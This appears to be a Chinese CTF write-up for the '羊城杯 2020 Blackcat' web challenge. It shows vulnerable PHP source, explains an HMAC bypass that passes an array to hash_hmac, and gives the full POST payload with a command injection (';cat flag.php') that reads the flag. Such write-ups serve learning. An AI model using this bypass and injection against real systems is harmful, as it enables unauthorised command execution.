[羊城杯 2020]Blackcat

访问页面,view-source一下;
题目暗示要听歌
[羊城杯 2020]Blackcat_第1张图片
点开mp3文件,在结尾发现了php源代码;

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

首先需要POST参数Black-Cat-SheriffOne-ear
getenv()从环境中取字符串,获取环境变量的内容;
然后POST参数White-cat-monitor,并且HMAC算法生成哈希值,调用两次;
最后判断生成的哈希值与Black-Cat-Sheriff是否相等;
One-ear需要去获取flag的内容;

hash_hmac($algo, $data, $key)
这道题的难点应该在于如何在不知道获取的环境变量的情况下去得到两轮加密的哈希值;
如果我们让第一次加密得到的值是我们可知的,那么第二次加密得到的值也是我们可控的;
当传入的$data为数组时,加密得到的结果固定为NULL

var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));

在这里插入图片描述

得到的结果为null

[羊城杯 2020]Blackcat_第2张图片
上图参考PHP Manual文档;
如果加密的密钥$keynull的话,生成的哈希值也是我们所知的;
因此令$White-cat-monitor[]=K1ose
那么根据代码的逻辑,我们先得知道flag放在哪个文件里;
扫一扫目录;
[羊城杯 2020]Blackcat_第3张图片
有个flag.php
$One-ear=;cat flag.php;
这里的;是为了结束nc的指令,另起一个指令操作;
加密一下,获取hash值;
在这里插入图片描述
$Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

POST这三个参数;

White-cat-monitor[]=K1ose&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php

得到flag

在这里插入图片描述

你可能感兴趣的:(CTF,WEB)